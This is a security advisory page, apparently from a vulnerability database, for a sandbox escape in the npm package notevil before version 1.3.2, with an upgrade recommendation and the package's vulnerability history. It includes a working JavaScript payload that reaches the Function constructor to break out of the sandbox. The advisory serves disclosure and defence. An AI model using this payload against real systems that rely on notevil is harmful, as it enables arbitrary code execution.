Sandbox Breakout / Arbitrary Code Execution in notevil
Versions of notevil prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the Function constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:
var safeEval = require('notevil')
var input = "" +
"function fn() {};" +
"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;" +
"var properties = Object.values(constructorProperty);" +
"properties.pop();" +
"properties.pop();" +
"properties.pop();" +
"var Function = properties.pop();" +
"(Function('return this'))()";
safeEval(input)```
## Recommendation
Upgrade to version 1.3.2 or later.Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | notevil | < 1.3.2 | 1.3.2 |
References
- Weakness (CWE)
-- Platform
- npm
- Package
notevil- Disclosed
- 03.09.2020
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7r5f-7qr4-pf6q - CC BY 4.0
Vulnerability history: notevil
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 09.2020 03.2022
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 2
Disclosures per year
- 2020: 2
- 2021: 0
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
-
Sandbox Breakout / Arbitrary Code Execution in notevil this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.